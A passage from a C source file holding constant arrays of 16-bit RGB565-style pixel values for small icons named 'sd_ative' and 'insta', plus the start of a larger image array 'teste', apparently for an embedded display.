0x895F,0x895F,0x895F,0x895F,0xBC3F,0xFFDF,0xFFDF,0xBC3F,0x895F,0x895F,0x895F,0x895F, - 0x895F,0x895F,0x895F,0x895F,0xBC3F,0xFFDF,0xFFDF,0xBC3F,0x895F,0x895F,0x895F,0x895F, - 0x895F,0x895F,0x897F,0xBC3F,0xF75F,0xFF9F,0xEEBF,0xF71F,0xBC3F,0x897F,0x895F,0x895F, - 0x895F,0x893F,0xA2DF,0xEF1F,0xBC3F,0xE65F,0xCCDF,0xD57F,0xFF9F,0xA2BF,0x893F,0x895F, - 0x895F,0x895F,0x91DF,0xA2BF,0x919F,0xE63F,0xF75F,0xF71F,0xCCDF,0x91DF,0x895F,0x895F, - 0x895F,0x895F,0x895F,0x893F,0x897F,0xDDBF,0xE69F,0xAB3F,0x895F,0x895F,0x895F,0x895F, - 0x895F,0x895F,0x895F,0x895F,0x895F,0x9A5F,0x91FF,0x893F,0x895F,0x895F,0x895F,0x895F - }; - - - const unsigned short sd_ative[144] = { - 0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F, - 0x895F,0x895F,0x895F,0x895F,0xB0F5,0xC0AF,0xC0AF,0xC0AF,0xC0B0,0xA119,0x895F,0x895F, - 0x895F,0x895F,0x895F,0xC0B0,0xF801,0xF023,0xF023,0xF022,0xF801,0xD86A,0x895F,0x895F, - 0x895F,0x895F,0xB8D2,0xF800,0xF022,0xB8D2,0xC0B1,0xC0B0,0xD08C,0xE048,0x895F,0x895F, - 0x895F,0x895F,0xD869,0xF800,0xF801,0xD06B,0xD06B,0xD86A,0xE047,0xD868,0x895F,0x895F, - 0x895F,0x895F,0xD869,0xF800,0xF800,0xF800,0xF800,0xF800,0xF800,0xD869,0x895F,0x895F, - 0x895F,0x895F,0xD869,0xF800,0xF800,0xF800,0xF800,0xF800,0xF800,0xD869,0x895F,0x895F, - 0x895F,0x895F,0xD869,0xF800,0xF800,0xF800,0xF800,0xF800,0xF800,0xD869,0x895F,0x895F, - 0x895F,0x895F,0xD869,0xF800,0xF800,0xF800,0xF800,0xF800,0xF800,0xD869,0x895F,0x895F, - 0x895F,0x895F,0xD86A,0xF800,0xF800,0xF800,0xF800,0xF800,0xF800,0xD86A,0x895F,0x895F, - 0x895F,0x895F,0xA119,0xC0B0,0xC0B0,0xC0B0,0xC0B0,0xC0B0,0xC0B0,0xA119,0x895F,0x895F, - 0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F - }; - - - const unsigned short insta[144] = { - 0x0000,0x0000,0x0823,0x2048,0x286A,0x286A,0x286A,0x286A,0x2048,0x0802,0x0000,0x0000, - 0x0000,0x2869,0x60F6,0x60F5,0x58D4,0x58D4,0x58D4,0x58D4,0x58F5,0x60F6,0x1847,0x0000, - 0x0823,0x60F7,0x286A,0x0000,0x0000,0x0000,0x0000,0x0000,0x306A,0x48B0,0x58F5,0x0001, - 0x2048,0x60F6,0x0001,0x0000,0x2869,0x50D3,0x50D3,0x2869,0x48B1,0x2869,0x60F7,0x1825, - 0x286A,0x58F5,0x0000,0x286A,0x60F7,0x306B,0x308C,0x68F7,0x2047,0x0001,0x60F5,0x2047, - 0x286A,0x58D4,0x0000,0x50D3,0x306B,0x0000,0x0000,0x40AF,0x48B1,0x0000,0x58F5,0x2047, - 0x286A,0x58D4,0x0000,0x50D3,0x388C,0x0000,0x0000,0x40AF,0x48B0,0x0000,0x58F5,0x2047, - 0x286A,0x58F5,0x0000,0x2048,0x68F7,0x388E,0x40AF,0x60F7,0x1846,0x0001,0x60F6,0x1847, - 0x2048,0x60F6,0x0001,0x0000,0x2047,0x48B1,0x48B0,0x1846,0x0000,0x0822,0x60F7,0x1025, - 0x0822,0x60F6,0x308C,0x0802,0x0001,0x0001,0x0001,0x0001,0x0822,0x40AF,0x58D4,0x0001, - 0x0000,0x2047,0x60F5,0x60F7,0x60F6,0x60F6,0x60F6,0x60F6,0x60F7,0x58D4,0x1825,0x0000, - 0x0000,0x0000,0x0001,0x1825,0x2047,0x2047,0x2047,0x2047,0x1025,0x0001,0x0000,0x0000 - }; - - const unsigned short teste[16384] = { - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x1846,0x306B,0x408E,0x40AE,0x40AE,0x40AE,0x40AE,0x40AE,0x40AE,0x40AE,0x40AE,0x40AE,0x40AE,0x40AE,0x40AE,0x40AE,0x40AE,0x40AE,0x40AE,0x40AE,0x40AE,0x40AE,0x40AE,0x40AE,0x388D,0x2048,0x0822,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0001,0x0822,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0823,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x286A,0x60F6,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x711A,0x40AF,0x1023,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1847,0x48B0,0x60F7,0x711A,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x793B,0x713A,0x6918,0x50D2,0x2869,0x0001,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0822,0x50D2,0x815E,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x6919,0x2048,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1023,0x50D2,0x813D,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x815E,0x60F6,0x1847,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0802,0x58F5,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x2068,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x1845,0x6918,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x895F,0x793C,0x286A,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000,0x0000, - 